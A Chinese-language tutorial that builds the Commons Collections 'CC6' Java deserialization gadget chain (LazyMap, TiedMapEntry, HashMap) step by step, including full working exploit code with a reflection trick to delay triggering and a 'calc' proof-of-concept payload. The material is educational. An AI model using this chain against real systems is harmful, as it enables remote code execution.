TiedMapEntry
第一步
與cc1一樣前面執行程式碼部分不變
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
然後我們看LazyMap get原始碼
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
第二步
這個時候我們要找地方呼叫get:tiedmapentry
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
tiedMapEntry.getValue();
第三步
因為 getValue() 這一個方法是相當相當常見的,所以我們一般會優先找同一類下是否存在呼叫情況。
尋找到同名函式下的 hashCode() 方法呼叫了 getValue() 方法。
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
第四步
我們去找誰呼叫了hashCode() 方法
在 Java 反序列化當中,找到 hashCode() 之後的鏈子用的基本都是這一條。
xxx.readObject()
HashMap.put() --自動呼叫--> HashMap.hash()
後續利用鏈.hashCode()
put函式
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
hash函式
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
執行程式碼
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
第五步
因為上面的程式碼不用等到序列化反序列化就執行了,所以我們要對其中一個引數進行修改,導致他到其中一步就不會執行,然後等所有值都給完了之後透過反射進行修改,接著進行序列化就能執行了
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
上面這個變成
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
這樣他在第一時間就不能被執行了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
解析其中一部分程式碼
1.Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
這個程式碼的意思是假如傳入的key不存在那麼他的value就是1,比如
map.put("key1", 100); map.put("key2", 200);
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
Object value1 = lazyMap.get("key1"); // 從原始 map 獲取,返回 100
Object value2 = lazyMap.get("key3"); // 不存在於原始 map,返回 ConstantTransformer 中的常量值 1
2.TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
這個程式碼就是傳入map為lazymap,然後找key為aaa的,沒有就是讓他的value為1
下一步就是刪掉鍵值為aaa的然後把鍵值為chainTransform的傳入,因為他前面已經把put那些搞好了,修改值然後進行序列化就可以觸發了,而不是在前面put就直接觸發
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");
全部程式碼
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
map.remove("aaa");
Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("ser.bin");